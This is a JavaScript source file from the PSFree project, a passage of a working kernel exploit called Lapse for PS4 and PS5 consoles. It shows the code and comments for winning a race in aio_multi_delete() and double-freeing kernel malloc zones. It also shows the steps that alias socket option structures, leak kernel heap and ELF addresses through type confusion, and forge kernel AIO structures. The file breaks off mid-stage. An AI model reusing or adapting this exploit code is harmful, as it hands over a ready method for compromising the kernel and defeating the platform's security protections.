lapse.mjs

/* Copyright (C) 2025 anonymous
This file is part of PSFree.

PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.

PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU Affero General Public License for more details.

You should have received a copy of the GNU Affero General Public License
along with this program.  If not, see <https://www.gnu.org/licenses/>.  */

// Lapse is a kernel exploit for PS4 [5.00, 12.50) and PS5 [1.00-10.20). It
// takes advantage of a bug in aio_multi_delete(). Take a look at the comment
// at the race_one() function here for a brief summary.

// debug comment legend:
// * PANIC - code will make the system vulnerable to a kernel panic or it will
//   perform a operation that might panic
// * RESTORE - code will repair kernel panic vulnerability
// * MEMLEAK - memory leaks that our code will induce

import { Int } from './module/int64.mjs';
import { mem } from './module/mem.mjs';
import { log, die, hex, hexdump } from './module/utils.mjs';
import { cstr, jstr } from './module/memtools.mjs';
import { page_size, context_size } from './module/offset.mjs';
import { Chain } from './module/chain.mjs';

import {
    View1, View2, View4,
    Word, Long, Pointer,
    Buffer,
} from './module/view.mjs';

import * as rop from './module/chain.mjs';
import * as config from './config.mjs';

const t1 = performance.now();

// check if we are running on a supported firmware version
const [is_ps4, version] = (() => {
    const value = config.target;
    const is_ps4 = (value & 0x10000) === 0;
    const version = value & 0xffff;
    const [lower, upper] = (() => {
        if (is_ps4) {
            return [0x100, 0x1250];
        } else {
            return [0x100, 0x1020];
        }
    })();

    if (!(lower <= version && version < upper)) {
        throw RangeError(`invalid config.target: ${hex(value)}`);
    }

    return [is_ps4, version];
})();

// sys/socket.h
const AF_UNIX = 1;
const AF_INET = 2;
const AF_INET6 = 28;
const SOCK_STREAM = 1;
const SOCK_DGRAM = 2;
const SOL_SOCKET = 0xffff;
const SO_REUSEADDR = 4;
const SO_LINGER = 0x80;

// netinet/in.h
const IPPROTO_TCP = 6;
const IPPROTO_UDP = 17;
const IPPROTO_IPV6 = 41;

// netinet/tcp.h
const TCP_INFO = 0x20;
const size_tcp_info = 0xec;

// netinet/tcp_fsm.h
const TCPS_ESTABLISHED = 4;

// netinet6/in6.h
const IPV6_2292PKTOPTIONS = 25;
const IPV6_PKTINFO = 46;
const IPV6_NEXTHOP = 48;
const IPV6_RTHDR = 51;
const IPV6_TCLASS = 61;

// sys/cpuset.h
const CPU_LEVEL_WHICH = 3;
const CPU_WHICH_TID = 1;

// sys/mman.h
const MAP_SHARED = 1;
const MAP_FIXED = 0x10;

// sys/rtprio.h
const RTP_SET = 1;
const RTP_PRIO_REALTIME = 2;

// SceAIO has 2 SceFsstAIO workers for each SceAIO Parameter. each Parameter
// has 3 queue groups: 4 main queues, 4 wait queues, and one unused queue
// group. queue 0 of each group is currently unused. queue 1 has the lowest
// priority and queue 3 has the highest
//
// the SceFsstAIO workers will process entries at the main queues. they will
// refill the main queues from the corresponding wait queues each time they
// dequeue a request (e.g. fill the  low priority main queue from the low
// priority wait queue)
//
// entries on the wait queue will always have a 0 ticket number. they will
// get assigned a nonzero ticket number once they get put on the main queue
const AIO_CMD_READ = 1;
const AIO_CMD_WRITE = 2;
const AIO_CMD_FLAG_MULTI = 0x1000;
const AIO_CMD_MULTI_READ = AIO_CMD_FLAG_MULTI | AIO_CMD_READ;
const AIO_STATE_COMPLETE = 3;
const AIO_STATE_ABORTED = 4;
const num_workers = 2;
// max number of requests that can be created/polled/canceled/deleted/waited
const max_aio_ids = 0x80;

// highest priority we can achieve given our credentials
const rtprio = View2.of(RTP_PRIO_REALTIME, 0x100);

// CONFIG CONSTANTS
const main_core = 7;
const num_grooms = 0x200;
const num_handles = 0x100;
const num_sds = 0x100; // max is 0x100 due to max IPV6_TCLASS
const num_alias = 100;
const num_races = 100;
const leak_len = 16;
const num_leaks = 5;
const num_clobbers = 8;

//Payload_Loader
 const PROT_READ = 1;
 const PROT_WRITE = 2;
 const PROT_EXEC = 4;

let chain = null;
var nogc = [];

async function init() {
    await rop.init();
    chain = new Chain();

// PS4 9.00
const pthread_offsets = new Map(Object.entries({
    'pthread_create' : 0x25510,
    'pthread_join' : 0xafa0,
    'pthread_barrier_init' : 0x273d0,
    'pthread_barrier_wait' : 0xa320,
    'pthread_barrier_destroy' : 0xfea0,
    'pthread_exit' : 0x77a0,
}));

    rop.init_gadget_map(rop.gadgets, pthread_offsets, rop.libkernel_base);
}

function sys_void(...args) {
    return chain.syscall_void(...args);
}

function sysi(...args) {
    return chain.sysi(...args);
}

function call_nze(...args) {
    const res = chain.call_int(...args);
    if (res !== 0) {
        die(`call(${args[0]}) returned nonzero: ${res}`);
    }
}

// #define SCE_KERNEL_AIO_STATE_NOTIFIED       0x10000
//
// #define SCE_KERNEL_AIO_STATE_SUBMITTED      1
// #define SCE_KERNEL_AIO_STATE_PROCESSING     2
// #define SCE_KERNEL_AIO_STATE_COMPLETED      3
// #define SCE_KERNEL_AIO_STATE_ABORTED        4
//
// typedef struct SceKernelAioResult {
//     // errno / SCE error code / number of bytes processed
//     int64_t returnValue;
//     // SCE_KERNEL_AIO_STATE_*
//     uint32_t state;
// } SceKernelAioResult;
//
// typedef struct SceKernelAioRWRequest {
//     off_t offset;
//     size_t nbyte;
//     void *buf;
//     struct SceKernelAioResult *result;
//     int fd;
// } SceKernelAioRWRequest;
//
// typedef int SceKernelAioSubmitId;
//
// // SceAIO submit commands
// #define SCE_KERNEL_AIO_CMD_READ     0x001
// #define SCE_KERNEL_AIO_CMD_WRITE    0x002
// #define SCE_KERNEL_AIO_CMD_MASK     0xfff
// // SceAIO submit command flags
// #define SCE_KERNEL_AIO_CMD_MULTI 0x1000
//
// #define SCE_KERNEL_AIO_PRIORITY_LOW     1
// #define SCE_KERNEL_AIO_PRIORITY_MID     2
// #define SCE_KERNEL_AIO_PRIORITY_HIGH    3
//
// int
// aio_submit_cmd(
//     u_int cmd,
//     SceKernelAioRWRequest reqs[],
//     u_int num_reqs,
//     u_int prio,
//     SceKernelAioSubmitId ids[]
// );
function aio_submit_cmd(cmd, requests, num_requests, handles) {
    sysi('aio_submit_cmd', cmd, requests, num_requests, 3, handles);
}

// the various SceAIO syscalls that copies out errors/states will not check if
// the address is NULL and will return EFAULT. this dummy buffer will serve as
// the default argument so users don't need to specify one
const _aio_errors = new View4(max_aio_ids);
const _aio_errors_p = _aio_errors.addr;

// int
// aio_multi_delete(
//     SceKernelAioSubmitId ids[],
//     u_int num_ids,
//     int sce_errors[]
// );
function aio_multi_delete(ids, num_ids, sce_errs=_aio_errors_p) {
    sysi('aio_multi_delete', ids, num_ids, sce_errs);
}

// int
// aio_multi_poll(
//     SceKernelAioSubmitId ids[],
//     u_int num_ids,
//     int states[]
// );
function aio_multi_poll(ids, num_ids, sce_errs=_aio_errors_p) {
    sysi('aio_multi_poll', ids, num_ids, sce_errs);
}

// int
// aio_multi_cancel(
//     SceKernelAioSubmitId ids[],
//     u_int num_ids,
//     int states[]
// );
function aio_multi_cancel(ids, num_ids, sce_errs=_aio_errors_p) {
    sysi('aio_multi_cancel', ids, num_ids, sce_errs);
}

// // wait for all (AND) or atleast one (OR) to finish
// // DEFAULT is the same as AND
// #define SCE_KERNEL_AIO_WAIT_DEFAULT 0x00
// #define SCE_KERNEL_AIO_WAIT_AND     0x01
// #define SCE_KERNEL_AIO_WAIT_OR      0x02
//
// int
// aio_multi_wait(
//     SceKernelAioSubmitId ids[],
//     u_int num_ids,
//     int states[],
//     // SCE_KERNEL_AIO_WAIT_*
//     uint32_t mode,
//     useconds_t *timeout
// );
function aio_multi_wait(ids, num_ids, sce_errs=_aio_errors_p) {
    sysi('aio_multi_wait', ids, num_ids, sce_errs, 1, 0);
}

function make_reqs1(num_reqs) {
    const reqs1 = new Buffer(0x28 * num_reqs);
    for (let i = 0; i < num_reqs; i++) {
        // .fd = -1
        reqs1.write32(0x20 + i*0x28, -1);
    }
    return reqs1;
}

function spray_aio(
    loops=1, reqs1_p, num_reqs, ids_p, multi=true, cmd=AIO_CMD_READ,
) {
    const step = 4 * (multi ? num_reqs : 1);
    cmd |= multi ? AIO_CMD_FLAG_MULTI : 0;
    for (let i = 0, idx = 0; i < loops; i++) {
        aio_submit_cmd(cmd, reqs1_p, num_reqs, ids_p.add(idx));
        idx += step;
    }
}

function poll_aio(ids, states, num_ids=ids.length) {
    if (states !== undefined) {
        states = states.addr;
    }
    aio_multi_poll(ids.addr, num_ids, states);
}

function cancel_aios(ids_p, num_ids) {
    const len = max_aio_ids;
    const rem = num_ids % len;
    const num_batches = (num_ids - rem) / len;
    for (let bi = 0; bi < num_batches; bi++) {
        aio_multi_cancel(ids_p.add((bi << 2) * len), len);
    }
    if (rem) {
        aio_multi_cancel(ids_p.add((num_batches << 2) * len), rem);
    }
}

function free_aios(ids_p, num_ids) {
    const len = max_aio_ids;
    const rem = num_ids % len;
    const num_batches = (num_ids - rem) / len;
    for (let bi = 0; bi < num_batches; bi++) {
        const addr = ids_p.add((bi << 2) * len);
        aio_multi_cancel(addr, len);
        aio_multi_poll(addr, len);
        aio_multi_delete(addr, len);
    }
    if (rem) {
        const addr = ids_p.add((num_batches << 2) * len);
        aio_multi_cancel(addr, len);
        aio_multi_poll(addr, len);
        aio_multi_delete(addr, len);
    }
}

function free_aios2(ids_p, num_ids) {
    const len = max_aio_ids;
    const rem = num_ids % len;
    const num_batches = (num_ids - rem) / len;
    for (let bi = 0; bi < num_batches; bi++) {
        const addr = ids_p.add((bi << 2) * len);
        aio_multi_poll(addr, len);
        aio_multi_delete(addr, len);
    }
    if (rem) {
        const addr = ids_p.add((num_batches << 2) * len);
        aio_multi_poll(addr, len);
        aio_multi_delete(addr, len);
    }
}

function get_our_affinity(mask) {
    sysi(
        'cpuset_getaffinity',
        CPU_LEVEL_WHICH,
        CPU_WHICH_TID,
        -1,
        8,
        mask.addr,
    );
}

function set_our_affinity(mask) {
    sysi(
        'cpuset_setaffinity',
        CPU_LEVEL_WHICH,
        CPU_WHICH_TID,
        -1,
        8,
        mask.addr,
    );
}

function close(fd) {
    sysi('close', fd);
}

function new_socket() {
    return sysi('socket', AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
}

function new_tcp_socket() {
    return sysi('socket', AF_INET, SOCK_STREAM, 0);
}

function gsockopt(sd, level, optname, optval, optlen) {
    const size = new Word(optval.size);
    if (optlen !== undefined) {
        size[0] = optlen;
    }

    sysi('getsockopt', sd, level, optname, optval.addr, size.addr);
    return size[0];
}

function setsockopt(sd, level, optname, optval, optlen) {
    sysi('setsockopt', sd, level, optname, optval, optlen);
}

function ssockopt(sd, level, optname, optval, optlen) {
    if (optlen === undefined) {
        optlen = optval.size;
    }

    const addr = optval.addr;
    setsockopt(sd, level, optname, addr, optlen);
}

function get_rthdr(sd, buf, len) {
    return gsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
}

function set_rthdr(sd, buf, len) {
    ssockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
}

function free_rthdrs(sds) {
    for (const sd of sds) {
        setsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, 0, 0);
    }
}

function build_rthdr(buf, size) {
    const len = ((size >> 3) - 1) & ~1;
    size = (len + 1) << 3;

    buf[0] = 0;
    buf[1] = len;
    buf[2] = 0;
    buf[3] = len >> 1;

    return size;
}

function spawn_thread(thread) {
    const ctx = new Buffer(context_size);
    const pthread = new Pointer();
    pthread.ctx = ctx;
    // pivot the pthread's stack pointer to our stack
    ctx.write64(0x38, thread.stack_addr);
    ctx.write64(0x80, thread.get_gadget('ret'));

    call_nze(
        'pthread_create',
        pthread.addr,
        0,
        chain.get_gadget('setcontext'),
        ctx.addr,
    );

    return pthread;
}

// EXPLOIT STAGES IMPLEMENTATION

// FUNCTIONS FOR STAGE: 0x80 MALLOC ZONE DOUBLE FREE

function make_aliased_rthdrs(sds) {
    const marker_offset = 4;
    const size = 0x80;
    const buf = new Buffer(size);
    const rsize = build_rthdr(buf, size);

    for (let loop = 0; loop < num_alias; loop++) {
        for (let i = 0; i < num_sds; i++) {
            buf.write32(marker_offset, i);
            set_rthdr(sds[i], buf, rsize);
        }

        for (let i = 0; i < sds.length; i++) {
            get_rthdr(sds[i], buf);
            const marker = buf.read32(marker_offset);
            if (marker !== i) {
                log(`aliased rthdrs at attempt: ${loop}`);
                const pair = [sds[i], sds[marker]];
                log(`found pair: ${pair}`);
                sds.splice(marker, 1);
                sds.splice(i, 1);
                free_rthdrs(sds);
                sds.push(new_socket(), new_socket());
                return pair;
            }
        }
    }
    die(`failed to make aliased rthdrs. size: ${hex(size)}`);
}

// summary of the bug at aio_multi_delete():
//
// void
// free_queue_entry(struct aio_entry *reqs2)
// {
//     if (reqs2->ar2_spinfo != NULL) {
//         printf(
//             "[0]%s() line=%d Warning !! split info is here\n",
//             __func__,
//             __LINE__
//         );
//     }
//     if (reqs2->ar2_file != NULL) {
//         // we can potentially delay .fo_close()
//         fdrop(reqs2->ar2_file, curthread);
//         reqs2->ar2_file = NULL;
//     }
//     free(reqs2, M_AIO_REQS2);
// }
//
// int
// _aio_multi_delete(
//     struct thread *td,
//     SceKernelAioSubmitId ids[],
//     u_int num_ids,
//     int sce_errors[])
// {
//     // ...
//     struct aio_object *obj = id_rlock(id_tbl, id, 0x160, id_entry);
//     // ...
//     u_int rem_ids = obj->ao_rem_ids;
//     if (rem_ids != 1) {
//         // BUG: wlock not acquired on this path
//         obj->ao_rem_ids = --rem_ids;
//         // ...
//         free_queue_entry(obj->ao_entries[req_idx]);
//         // the race can crash because of a NULL dereference since this path
//         // doesn't check if the array slot is NULL so we delay
//         // free_queue_entry()
//         obj->ao_entries[req_idx] = NULL;
//     } else {
//         // ...
//     }
//     // ...
// }
function race_one(request_addr, tcp_sd, barrier, racer, sds) {
    const sce_errs = new View4([-1, -1]);
    const thr_mask = new Word(1 << main_core);

    const thr = racer;
    thr.push_syscall(
        'cpuset_setaffinity',
        CPU_LEVEL_WHICH,
        CPU_WHICH_TID,
        -1,
        8,
        thr_mask.addr,
    );
    thr.push_syscall('rtprio_thread', RTP_SET, 0, rtprio.addr);
    thr.push_gadget('pop rax; ret');
    thr.push_value(1);
    thr.push_get_retval();
    thr.push_call('pthread_barrier_wait', barrier.addr);
    thr.push_syscall(
        'aio_multi_delete',
        request_addr,
        1,
        sce_errs.addr_at(1),
    );
    thr.push_call('pthread_exit', 0);

    const pthr = spawn_thread(thr);
    const thr_tid = pthr.read32(0);

    // pthread barrier implementation:
    //
    // given a barrier that needs N threads for it to be unlocked, a thread
    // will sleep if it waits on the barrier and N - 1 threads havent't arrived
    // before
    //
    // if there were already N - 1 threads then that thread (last waiter) won't
    // sleep and it will send out a wake-up call to the waiting threads
    //
    // since the ps4's cores only have 1 hardware thread each, we can pin 2
    // threads on the same core and control the interleaving of their
    // executions via controlled context switches

    // wait for the worker to enter the barrier and sleep
    while (thr.retval_int === 0) {
        sys_void('sched_yield');
    }

    // enter the barrier as the last waiter
    chain.push_call('pthread_barrier_wait', barrier.addr);
    // yield and hope the scheduler runs the worker next. the worker will then
    // sleep at soclose() and hopefully we run next
    chain.push_syscall('sched_yield');
    // if we get here and the worker hasn't been reran then we can delay the
    // worker's execution of soclose() indefinitely
    chain.push_syscall('thr_suspend_ucontext', thr_tid);
    chain.push_get_retval();
    chain.push_get_errno();
    chain.push_end();
    chain.run();
    chain.reset();

    const main_res = chain.retval_int;
    log(`suspend ${thr_tid}: ${main_res} errno: ${chain.errno}`);

    if (main_res === -1) {
        call_nze('pthread_join', pthr, 0);
        log();
        return null;
    }

    let won_race = false;
    try {
        const poll_err = new View4(1);
        aio_multi_poll(request_addr, 1, poll_err.addr);
        log(`poll: ${hex(poll_err[0])}`);

        const info_buf = new View1(size_tcp_info);
        const info_size = gsockopt(tcp_sd, IPPROTO_TCP, TCP_INFO, info_buf);
        log(`info size: ${hex(info_size)}`);

        if (info_size !== size_tcp_info) {
            die(`info size isn't ${size_tcp_info}: ${info_size}`);
        }

        const tcp_state = info_buf[0];
        log(`tcp_state: ${tcp_state}`);

        const SCE_KERNEL_ERROR_ESRCH = 0x80020003;
        if (poll_err[0] !== SCE_KERNEL_ERROR_ESRCH
            && tcp_state !== TCPS_ESTABLISHED
        ) {
            // PANIC: double free on the 0x80 malloc zone. important kernel
            // data may alias
            aio_multi_delete(request_addr, 1, sce_errs.addr);
            won_race = true;
        }
    } finally {
        log('resume thread\n');
        sysi('thr_resume_ucontext', thr_tid);
        call_nze('pthread_join', pthr, 0);
    }

    if (won_race) {
        log(`race errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`);
        // if the code has no bugs then this isn't possible but we keep the
        // check for easier debugging
        if (sce_errs[0] !== sce_errs[1]) {
            log('ERROR: bad won_race');
            die('ERROR: bad won_race');
        }
        // RESTORE: double freed memory has been reclaimed with harmless data
        // PANIC: 0x80 malloc zone pointers aliased
        return make_aliased_rthdrs(sds);
    }

    return null;
}

function double_free_reqs2(sds) {
    function swap_bytes(x, byte_length) {
        let res = 0;
        for (let i = 0; i < byte_length; i++) {
            res |= ((x >> 8 * i) & 0xff) << 8 * (byte_length - i - 1);
        }

        return res >>> 0;
    }

    function htons(x) {
        return swap_bytes(x, 2);
    }

    function htonl(x) {
        return swap_bytes(x, 4);
    }

    const server_addr = new Buffer(16);
    // sockaddr_in.sin_family
    server_addr[1] = AF_INET;
    // sockaddr_in.sin_port
    server_addr.write16(2, htons(5050));
    // sockaddr_in.sin_addr = 127.0.0.1
    server_addr.write32(4, htonl(0x7f000001));

    const racer = new Chain();
    const barrier = new Long();
    call_nze('pthread_barrier_init', barrier.addr, 0, 2);

    const num_reqs = 3;
    const which_req = num_reqs - 1;
    const reqs1 = make_reqs1(num_reqs);
    const reqs1_p = reqs1.addr;
    const aio_ids = new View4(num_reqs);
    const aio_ids_p = aio_ids.addr;
    const req_addr = aio_ids.addr_at(which_req);
    const cmd = AIO_CMD_MULTI_READ;

    const sd_listen = new_tcp_socket();
    ssockopt(sd_listen, SOL_SOCKET, SO_REUSEADDR, new Word(1));

    sysi('bind', sd_listen, server_addr.addr, server_addr.size);
    sysi('listen', sd_listen, 1);

    for (let i = 0; i < num_races; i++) {
        const sd_client = new_tcp_socket();
        sysi('connect', sd_client, server_addr.addr, server_addr.size);

        const sd_conn = sysi('accept', sd_listen, 0, 0);
        // force soclose() to sleep
        ssockopt(sd_client, SOL_SOCKET, SO_LINGER, View4.of(1, 1));
        reqs1.write32(0x20 + which_req*0x28, sd_client);

        aio_submit_cmd(cmd, reqs1_p, num_reqs, aio_ids_p);
        aio_multi_cancel(aio_ids_p, num_reqs);
        aio_multi_poll(aio_ids_p, num_reqs);

        // drop the reference so that aio_multi_delete() will trigger _fdrop()
        close(sd_client);

        const res = race_one(req_addr, sd_conn, barrier, racer, sds);
        racer.reset();

        // MEMLEAK: if we won the race, aio_obj.ao_num_reqs got decremented
        // twice. this will leave one request undeleted
        aio_multi_delete(aio_ids_p, num_reqs);
        close(sd_conn);

        if (res !== null) {
            log(`won race at attempt: ${i}`);
            close(sd_listen);
            call_nze('pthread_barrier_destroy', barrier.addr);
            return res;
        }
    }

    die('failed aio double free');
}

// FUNCTIONS FOR STAGE: LEAK 0x100 MALLOC ZONE ADDRESS

function new_evf(flags) {
    const name = cstr('');
    // int evf_create(char *name, uint32_t attributes, uint64_t flags)
    return sysi('evf_create', name.addr, 0, flags);
}

function set_evf_flags(id, flags) {
    sysi('evf_clear', id, 0);
    sysi('evf_set', id, flags);
}

function free_evf(id) {
    sysi('evf_delete', id);
}

function verify_reqs2(buf, offset) {
    // reqs2.ar2_cmd
    if (buf.read32(offset) !== AIO_CMD_WRITE) {
        return false;
    }

    // heap addresses are prefixed with 0xffff_xxxx
    // xxxx is randomized on boot
    //
    // heap_prefixes is a array of randomized prefix bits from a group of heap
    // address candidates. if the candidates truly are from the heap, they must
    // share a common prefix
    const heap_prefixes = [];

    // check if offsets 0x10 to 0x20 look like a kernel heap address
    for (let i = 0x10; i <= 0x20; i += 8) {
        if (buf.read16(offset + i + 6) !== 0xffff) {
            return false;
        }
        heap_prefixes.push(buf.read16(offset + i + 4));
    }

    // check reqs2.ar2_result.state
    // state is actually a 32-bit value but the allocated memory was
    // initialized with zeros. all padding bytes must be 0 then
    let state = buf.read32(offset + 0x38);
    if (!(0 < state && state <= 4) || buf.read32(offset + 0x38 + 4) !== 0) {
        return false;
    }

    // reqs2.ar2_file must be NULL since we passed a bad file descriptor to
    // aio_submit_cmd()
    if (!buf.read64(offset + 0x40).eq(0)) {
        return false;
    }

    // check if offsets 0x48 to 0x50 look like a kernel address
    for (let i = 0x48; i <= 0x50; i += 8) {
        if (buf.read16(offset + i + 6) === 0xffff) {
            // don't push kernel ELF addresses
            if (buf.read16(offset + i + 4) !== 0xffff) {
                heap_prefixes.push(buf.read16(offset + i + 4));
            }
        // offset 0x48 can be NULL
        } else if (i === 0x50 || !buf.read64(offset + i).eq(0)) {
            return false;
        }
    }

    return heap_prefixes.every((e, i, a) => e === a[0]);
}

function leak_kernel_addrs(sd_pair) {
    close(sd_pair[1]);
    const sd = sd_pair[0];
    const buf = new Buffer(0x80 * leak_len);

    // type confuse a struct evf with a struct ip6_rthdr. the flags of the evf
    // must be set to >= 0xf00 in order to fully leak the contents of the rthdr
    log('confuse evf with rthdr');
    let evf = null;
    for (let i = 0; i < num_alias; i++) {
        const evfs = [];
        for (let i = 0; i < num_handles; i++) {
            evfs.push(new_evf(0xf00 | i << 16));
        }

        get_rthdr(sd, buf, 0x80);
        // for simplicity, we'll assume i < 2**16
        const flags32 = buf.read32(0);
        evf = evfs[flags32 >>> 16];

        set_evf_flags(evf, flags32 | 1);
        get_rthdr(sd, buf, 0x80);

        if (buf.read32(0) === flags32 | 1) {
            evfs.splice(flags32 >> 16, 1);
        } else {
            evf = null;
        }

        for (const evf of evfs) {
            free_evf(evf);
        }

        if (evf !== null) {
            log(`confused rthdr and evf at attempt: ${i}`);
            break;
        }
    }

    if (evf === null) {
        die('failed to confuse evf and rthdr');
    }

    set_evf_flags(evf, 0xff << 8);
    get_rthdr(sd, buf, 0x80);

    // fields we use from evf (number before the field is the offset in hex):
    // struct evf:
    //     0 u64 flags
    //     28 struct cv cv
    //     38 TAILQ_HEAD(struct evf_waiter) waiters

    // evf.cv.cv_description = "evf cv"
    // string is located at the kernel's mapped ELF file
    const kernel_addr = buf.read64(0x28);
    log(`"evf cv" string addr: ${kernel_addr}`);
    // because of TAILQ_INIT(), we have:
    //
    // evf.waiters.tqh_last == &evf.waiters.tqh_first
    //
    // we now know the address of the kernel buffer we are leaking
    const kbuf_addr = buf.read64(0x40).sub(0x38);
    log(`kernel buffer addr: ${kbuf_addr}`);

    // 0x80 < num_elems * sizeof(SceKernelAioRWRequest) <= 0x100
    // allocate reqs1 arrays at 0x100 malloc zone
    const num_elems = 6;
    // use reqs1 to fake a aio_info. set .ai_cred (offset 0x10) to offset 4 of
    // the reqs2 so crfree(ai_cred) will harmlessly decrement the .ar2_ticket
    // field
    const ucred = kbuf_addr.add(4);

    const leak_reqs = make_reqs1(num_elems);
    const leak_reqs_p = leak_reqs.addr;
    leak_reqs.write64(0x10, ucred);

    const leak_ids_len = num_handles * num_elems;
    const leak_ids = new View4(leak_ids_len);
    const leak_ids_p = leak_ids.addr;

    log('find aio_entry');
    let reqs2_off = null;
    loop: for (let i = 0; i < num_leaks; i++) {
        get_rthdr(sd, buf);

        spray_aio(
            num_handles,
            leak_reqs_p,
            num_elems,
            leak_ids_p,
            true,
            AIO_CMD_WRITE,
        );

        get_rthdr(sd, buf);
        for (let off = 0x80; off < buf.length; off += 0x80) {
            if (verify_reqs2(buf, off)) {
                reqs2_off = off;
                log(`found reqs2 at attempt: ${i}`);
                break loop;
            }
        }

        free_aios(leak_ids_p, leak_ids_len);
    }
    if (reqs2_off === null) {
        die('could not leak a reqs2');
    }
    log(`reqs2 offset: ${hex(reqs2_off)}`);

    get_rthdr(sd, buf);
    const reqs2 = buf.slice(reqs2_off, reqs2_off + 0x80);
    log('leaked aio_entry:');
    hexdump(reqs2);

    const reqs1_addr = new Long(reqs2.read64(0x10));
    log(`reqs1_addr: ${reqs1_addr}`);
    reqs1_addr.lo &= -0x100;
    log(`reqs1_addr: ${reqs1_addr}`);

    log('searching target_id');
    let target_id = null;
    let to_cancel_p = null;
    let to_cancel_len = null;
    for (let i = 0; i < leak_ids_len; i += num_elems) {
        aio_multi_cancel(leak_ids_p.add(i << 2), num_elems);

        get_rthdr(sd, buf);
        const state = buf.read32(reqs2_off + 0x38);
        if (state === AIO_STATE_ABORTED) {
            log(`found target_id at batch: ${i / num_elems}`);

            target_id = new Word(leak_ids[i]);
            leak_ids[i] = 0;
            log(`target_id: ${hex(target_id)}`);

            const reqs2 = buf.slice(reqs2_off, reqs2_off + 0x80);
            log('leaked aio_entry:');
            hexdump(reqs2);

            const start = i + num_elems;
            to_cancel_p = leak_ids.addr_at(start);
            to_cancel_len = leak_ids_len - start;
            break;
        }
    }
    if (target_id === null) {
        die('target_id not found');
    }

    cancel_aios(to_cancel_p, to_cancel_len);
    free_aios2(leak_ids_p, leak_ids_len);

    return [reqs1_addr, kbuf_addr, kernel_addr, target_id, evf];
}

// FUNCTIONS FOR STAGE: 0x100 MALLOC ZONE DOUBLE FREE
function make_aliased_pktopts(sds) {
    const tclass = new Word();
    for (let loop = 0; loop < num_alias; loop++) {
        for (let i = 0; i < num_sds; i++) {
            setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
        }

        for (let i = 0; i < num_sds; i++) {
            tclass[0] = i;
            ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
        }

        for (let i = 0; i < sds.length; i++) {
            gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
            const marker = tclass[0];
            if (marker !== i) {
                log(`aliased pktopts at attempt: ${loop}`);
                const pair = [sds[i], sds[marker]];
                log(`found pair: ${pair}`);
                sds.splice(marker, 1);
                sds.splice(i, 1);
                // add pktopts to the new sockets now while new allocs can't
                // use the double freed memory
                for (let i = 0; i < 2; i++) {
                    const sd = new_socket();
                    ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
                    sds.push(sd);
                }

                return pair;
            }
        }
    }
    die('failed to make aliased pktopts');
}


function double_free_reqs1(
    reqs1_addr, kbuf_addr, target_id, evf, sd, sds,
) {
    const max_leak_len = (0xff + 1) << 3;
    const buf = new Buffer(max_leak_len);

    const num_elems = max_aio_ids;
    const aio_reqs = make_reqs1(num_elems);
    const aio_reqs_p = aio_reqs.addr;

    const num_batches = 2;
    const aio_ids_len = num_batches * num_elems;
    const aio_ids = new View4(aio_ids_len);
    const aio_ids_p = aio_ids.addr;

    log('start overwrite rthdr with AIO queue entry loop');
    let aio_not_found = true;
    free_evf(evf);
    for (let i = 0; i < num_clobbers; i++) {
        spray_aio(num_batches, aio_reqs_p, num_elems, aio_ids_p);

        if (get_rthdr(sd, buf) === 8 && buf.read32(0) === AIO_CMD_READ) {
            log(`aliased at attempt: ${i}`);
            aio_not_found = false;
            cancel_aios(aio_ids_p, aio_ids_len);
            break;
        }

        free_aios(aio_ids_p, aio_ids_len);
    }
    if (aio_not_found) {
        die('failed to overwrite rthdr');
    }

    const reqs2 = new Buffer(0x80);
    const rsize = build_rthdr(reqs2, reqs2.size);
    // .ar2_ticket
    reqs2.write32(4, 5);
    // .ar2_info
    reqs2.write64(0x18, reqs1_addr);
    // craft a aio_batch using the end portion of the buffer
    const reqs3_off = 0x28;
    // .ar2_batch
    reqs2.write64(0x20, kbuf_addr.add(reqs3_off));

    // [.ar3_num_reqs, .ar3_reqs_left] aliases .ar2_spinfo
    // safe since free_queue_entry() doesn't deref the pointer
    reqs2.write32(reqs3_off, 1);
    reqs2.write32(reqs3_off + 4, 0);
    // [.ar3_state, .ar3_done] aliases .ar2_result.returnValue
    reqs2.write32(reqs3_off + 8, AIO_STATE_COMPLETE);
    reqs2[reqs3_off + 0xc] = 0;
    // .ar3_lock aliases .ar2_qentry (rest of the buffer is padding)
    // safe since the entry already got dequeued
    //
    // .ar3_lock.lock_object.lo_flags = (
    //     LO_SLEEPABLE | LO_UPGRADABLE
    //     | LO_RECURSABLE | LO_DUPOK | LO_WITNESS
    //     | 6 << LO_CLASSSHIFT
    //     | LO_INITIALIZED
    // )
    reqs2.write32(reqs3_off + 0x28, 0x67b0000);
    // .ar3_lock.lk_lock = LK_UNLOCKED
    reqs2.write64(reqs3_off + 0x38, 1);

    const states = new View4(num_elems);
    const states_p = states.addr;
    const addr_cache = [aio_ids_p];
    for (let i = 1; i < num_batches; i++) {
        addr_cache.push(aio_ids_p.add((i * num_elems) << 2));
    }

    log('start overwrite AIO queue entry with rthdr loop');
    let req_id = null;
    close(sd);
    sd = null;
    loop: for (let i = 0; i < num_alias; i++) {
        for (const sd of sds) {
            set_rthdr(sd, reqs2, rsize);
        }

        for (let batch = 0; batch < addr_cache.length; batch++) {
            states.fill(-1);
            aio_multi_cancel(addr_cache[batch], num_elems, states_p);

            const req_idx = states.indexOf(AIO_STATE_COMPLETE);
            if (req_idx !== -1) {
                log(`req_idx: ${req_idx}`);
                log(`found req_id at batch: ${batch}`);
                log(`states: ${[...states].map(e => hex(e))}`);
                log(`states[${req_idx}]: ${hex(states[req_idx])}`);
                log(`aliased at attempt: ${i}`);

                const aio_idx = batch*num_elems + req_idx;
                req_id = new Word(aio_ids[aio_idx]);
                log(`req_id: ${hex(req_id)}`);
                aio_ids[aio_idx] = 0;

                // set .ar3_done to 1
                poll_aio(req_id, states);
